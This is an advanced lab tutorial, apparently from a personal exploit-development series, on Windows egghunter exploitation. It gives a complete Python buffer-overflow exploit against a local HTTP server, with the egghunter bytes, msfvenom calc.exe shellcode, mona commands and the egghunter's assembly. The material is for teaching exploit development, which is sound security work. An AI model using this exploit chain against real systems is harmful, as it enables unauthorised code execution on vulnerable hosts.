# Windows Egghunter Exploitation

> Use egghunter shellcode to locate and execute a larger payload when buffer space is limited.

- Published: 2025-11-06
- Difficulty: advanced
- Series: Windows Exploitation
- Tags: Windows, Exploit Development, Egghunter, Shellcode, x86
- Source: https://stevenfoerster.com/tutorials/windows-egghunter-exploitation/

## Prerequisites

- Experience with Windows buffer overflows
- Understanding of shellcode execution
- Familiarity with Immunity Debugger and mona.py
- Knowledge of memory searching techniques

When the buffer space at the crash point is too small for shellcode, egghunters provide a solution. An egghunter is a small piece of code (~32 bytes) that searches memory for a unique marker ("egg") and jumps to the larger shellcode following it.

## When to Use Egghunters

- Limited buffer space after EIP overwrite
- Shellcode stored elsewhere in memory (earlier in the request, another field, etc.)
- Need to locate payload at runtime

## Understanding Egghunters

### How It Works

1. Place full shellcode with an egg marker somewhere in memory
2. Overwrite EIP to execute egghunter
3. Egghunter searches all memory for the egg
4. When found, execution jumps to the shellcode

```text
  The Egghunter Pattern:

  Stack (limited space ~100 B):
  +--------+----------+-------------+
  | Junk   | JMP ESP  | Egghunter   |
  | 515 B  |  4 B     | 32 B        |
  +--------+----------+------+------+
                              |
              EIP -> JMP ESP -+
                              |
                              v
                    Egghunter starts running
                              |
   Scans process memory:      |
   Page 0x00001000  [invalid] | skip
   Page 0x00002000  [invalid] | skip
   ...                        |
   Page 0x00XXX000  [valid]   | scan
                              v
  Heap / other memory region:
  +----------+-------------------+
  | STRMSTRM | Shellcode (~220B) |
  +----------+--------+----------+
       ^               |
       |               v
     egg found     execution jumps here
```

### The Egg

- 4-byte unique pattern repeated twice: `STRMSTRM`
- Must not appear anywhere else in the exploit
- Repeated to avoid false positives

The egg tag is repeated twice (8 bytes total, e.g., `w00tw00t`) to avoid false positives. The egghunter code itself contains the 4-byte tag for comparison, so searching for just 4 bytes would match the egghunter's own code in memory. By searching for the tag repeated twice, we ensure we only match the actual payload marker.

## Initial Analysis

> [!note]
> The offset discovery step follows the same pattern used in previous tutorials: generate a cyclic pattern with `pattern create`, send it to crash the application, and find the offset with `pattern offset` or `!mona findmsp`. We skip the details here, refer to the [Windows Stack Buffer Overflow](https://stevenfoerster.com/tutorials/windows-stack-buffer-overflow/) tutorial for the full process.

### Exploit Skeleton

```python
#!/usr/bin/env python3
import socket

payload1 = b"A"*515 + b"BBBB" + b"C"*100

buffer = (
b"HEAD /" + payload1 + b" HTTP/1.1\r\n"
b"Host: 127.0.0.1:8080\r\n"
b"User-Agent: Exploit writer\r\n"
b"Keep-Alive: 115\r\n"
b"Connection: keep-alive\r\n\r\n"
)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
expl.send(buffer)  # sendall() is preferred for large payloads to ensure all bytes are sent
expl.close()
```

### Verify EIP Control

After crashing:

```text
EIP: 42424242
```

Only ~100 bytes available after EIP - not enough for standard shellcode.

## Finding JMP ESP

```text
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

Results:

```text
0x773d10a4 : jmp esp | SHELL32.dll | ASLR: False, SafeSEH: False
```

## Identifying Bad Characters

### Using mona

```text
!mona config -set workingfolder C:\mona\
!mona bytearray -b "\x00"
```

Send all bytes and compare:

```text
!mona compare -f C:\mona\bytearray.bin -a <ESP_address>
```

### Bad Characters Found

```text
\x00\x20\x3f
```

- `\x00` - Null byte
- `\x20` - Space (HTTP parsing)
- `\x3f` - Question mark (URL parsing)

## Generating the Egghunter

```text
!mona egg -t STRM
```

Output:

```text
Egghunter, tag STRM:
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Put this tag in front of your shellcode: STRMSTRM
```

The egghunter is only 32 bytes - perfect for limited space.

## Generating Shellcode

```bash
msfvenom -p windows/exec cmd=calc.exe \
         -b "\x00\x20\x3f" \
         -f c
```

## Complete Exploit

```python
#!/usr/bin/env python3
import socket

# Bad chars: \x00\x20\x3f

# Egghunter (32 bytes) - searches for STRMSTRM
egghunter = (
b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x53\x54\x52\x4d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

# Shellcode with egg marker
shellcode = (
b"\xda\xda\xd9\x74\x24\xf4\x5a\xbf\x54\x98\xd7\x97\x31\xc9\xb1"
b"\x31\x31\x7a\x18\x83\xc2\x04\x03\x7a\x40\x7a\x22\x6b\x80\xf8"
b"\xcd\x94\x50\x9d\x44\x71\x61\x9d\x33\xf1\xd1\x2d\x37\x57\xdd"
b"\xc6\x15\x4c\x56\xaa\xb1\x63\xdf\x01\xe4\x4a\xe0\x3a\xd4\xcd"
b"\x62\x41\x09\x2e\x5b\x8a\x5c\x2f\x9c\xf7\xad\x7d\x75\x73\x03"
b"\x92\xf2\xc9\x98\x19\x48\xdf\x98\xfe\x18\xde\x89\x50\x13\xb9"
b"\x09\x52\xf0\xb1\x03\x4c\x15\xff\xda\xe7\xed\x8b\xdc\x21\x3c"
b"\x73\x72\x0c\xf1\x86\x8a\x48\x35\x79\xf9\xa0\x46\x04\xfa\x76"
b"\x35\xd2\x8f\x6c\x9d\x91\x28\x49\x1c\x75\xae\x1a\x12\x32\xa4"
b"\x45\x36\xc5\x69\xfe\x42\x4e\x8c\xd1\xc3\x14\xab\xf5\x88\xcf"
b"\xd2\xac\x74\xa1\xeb\xaf\xd7\x1e\x4e\xbb\xf5\x4b\xe3\xe6\x93"
b"\x8a\x71\x9d\xd1\x8d\x89\x9e\x45\xe6\xb8\x15\x0a\x71\x45\xfc"
b"\x6f\x8d\x0f\x5d\xd9\x06\xd6\x37\x58\x4b\xe9\xed\x9e\x72\x6a"
b"\x04\x5e\x81\x72\x6d\x5b\xcd\x34\x9d\x11\x5e\xd1\xa1\x86\x5f"
b"\xf0\xc1\x49\xcc\x98\x2b\xec\x74\x3a\x34"
)

# Build payload
# Egg + shellcode goes at the beginning (will be found by egghunter)
payload1 = b"STRMSTRM"           # Egg marker (8 bytes)
payload1 += shellcode           # Full shellcode
payload1 += b"A"*(515-len(payload1))  # Padding to reach EIP
payload1 += b"\xa4\x10\x3d\x77"  # JMP ESP (0x773d10a4)
payload1 += egghunter           # Egghunter (32 bytes)
payload1 += b"C"*(100-len(egghunter))  # Remaining padding

buffer = (
b"HEAD /" + payload1 + b" HTTP/1.1\r\n"
b"Host: 127.0.0.1:8080\r\n"
b"User-Agent: Exploit writer\r\n"
b"Keep-Alive: 115\r\n"
b"Connection: keep-alive\r\n\r\n"
)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("127.0.0.1", 8080))
# sendall() ensures all bytes are sent; send() may transmit only a partial payload
expl.sendall(buffer)
expl.close()
```

## Execution Flow

```text
1. Send exploit request

2. "HEAD /[EGG+SHELLCODE][PADDING][JMP_ESP][EGGHUNTER] HTTP/1.1..."

3. Crash occurs, EIP = JMP ESP

4. JMP ESP executes egghunter

5. Egghunter searches memory for "STRMSTRM"
   - Uses system calls to safely check addresses
   - Avoids access violations on invalid memory

6. Finds egg at beginning of request

7. Jumps past egg to shellcode

8. Shellcode executes
```

## Memory Layout

```text
HTTP Request in Memory:

Lower Address
|  "HEAD /"  | STRMSTRM | Shellcode | "A" padding | JMP ESP | Egghunter | " HTTP/..." |
                  ^                                    |
                  |                                    v
                  +---- Egghunter finds this ----<---- Starts here
```

The egghunter works because the HTTP request body (containing the egg+shellcode) is stored in a different memory region than the stack overflow point. The small stack buffer can only fit the egghunter (~32 bytes), but the full shellcode is placed in the larger HTTP body, which the application stores elsewhere in heap memory. The egghunter then searches all of process memory to find it.

## Egghunter Internals

`NtAccessCheckAndAuditAlarm` (syscall 0x02 on Windows XP) is used by the egghunter to safely probe memory addresses. The exact syscall number is version-specific (on Windows 7 and later, syscall 2 maps to a different routine), but the technique does not depend on hitting this particular syscall: any syscall that dereferences a user-supplied pointer returns STATUS_ACCESS_VIOLATION for an invalid address instead of crashing the process. The egghunter checks if the return value is 0xc0000005 and, if so, skips to the next memory page.

```text
  Egghunter memory scan logic:

  EDX (address pointer)
   |
   v
  Page N: 0x00XX0000 - 0x00XX0FFF
  +----------------------------------+
  |  syscall probe -> ACCESS_VIOLATION|
  +----------------------------------+
  Result: skip entire page (OR DX, 0x0FFF)
   |
   v
  Page N+1: 0x00XX1000 - 0x00XX1FFF
  +----------------------------------+
  |  syscall probe -> OK (readable)  |
  |  SCASD: compare [EDI] vs "STRM" |
  |  -> no match, INC EDX, repeat   |
  |  ...                             |
  |  SCASD: match first "STRM"!     |
  |  SCASD: match second "STRM"!    |
  |  -> JMP EDI (into shellcode)    |
  +----------------------------------+
```

```asm
; NtAccessCheckAndAuditAlarm technique
loop_inc_page:
    or dx, 0x0fff       ; Go to last address in page
loop_inc_one:
    inc edx             ; Next address
    push edx            ; Save address
    push 0x02           ; Syscall: NtAccessCheckAndAuditAlarm
    pop eax
    int 0x2e            ; Syscall
    cmp al, 0x05        ; ACCESS_VIOLATION?
    pop edx             ; Restore address
    je loop_inc_page    ; If violation, skip page

    mov eax, 0x4d525453 ; "STRM" backwards
    mov edi, edx
    scasd               ; Compare [edi] with eax
    jne loop_inc_one    ; Not found, try next
    scasd               ; Check second occurrence
    jne loop_inc_one    ; Not found, try next
    jmp edi             ; Found! Jump to shellcode
```

`scasd` (Scan String Doubleword) compares EAX with the 4-byte value at the address pointed to by EDI, then advances EDI by 4 bytes. The egghunter uses two consecutive `scasd` instructions to search for the 8-byte egg marker.

## What We Have Not Solved Yet

The stack overflow, SEH, and egghunter tutorials all still finish the same way: they execute shellcode from a data region (the stack or a heap buffer). That only works because these labs run with DEP disabled. Turn DEP on, as every current Windows build does, and the CPU faults the instant it tries to execute those bytes, no matter how cleanly the egghunter found them.

[Bypassing DEP with ROP](https://stevenfoerster.com/tutorials/bypassing-dep-with-rop-on-windows/) is the answer, and it is the point where the Windows ladder meets the Linux one. Instead of running injected code, you chain gadgets already present in loaded DLLs to call a Windows API (`VirtualProtect`) that marks your shellcode's memory executable first, then jump to it. If you worked through the Linux [ROP](https://stevenfoerster.com/tutorials/bypassing-nx-with-rop-x64/) and [mprotect](https://stevenfoerster.com/tutorials/bypassing-nx-with-mprotect-rop/) tutorials, this is the same primitive with Windows-specific plumbing (gadgets from DLLs, the `stdcall` convention, and the PUSHAD trick to assemble the call frame).

## Tips and Troubleshooting

### Egg Not Found

1. Verify egg is in memory (search manually in debugger)
2. Check if egg bytes are corrupted by bad characters
3. Ensure egg is accessible (not in freed memory)

### Slow Execution

Egghunters search all memory - can take several seconds. This is normal.

### Alternative Egg Placement

The egg + shellcode can be in:

- Earlier part of the same request
- Different HTTP header
- Separate request (if state persists)
- User-Agent field
- Cookie header

### Custom Tags

Choose a unique 4-byte tag:

```text
!mona egg -t CUST
```

Avoid tags that might appear in normal memory.
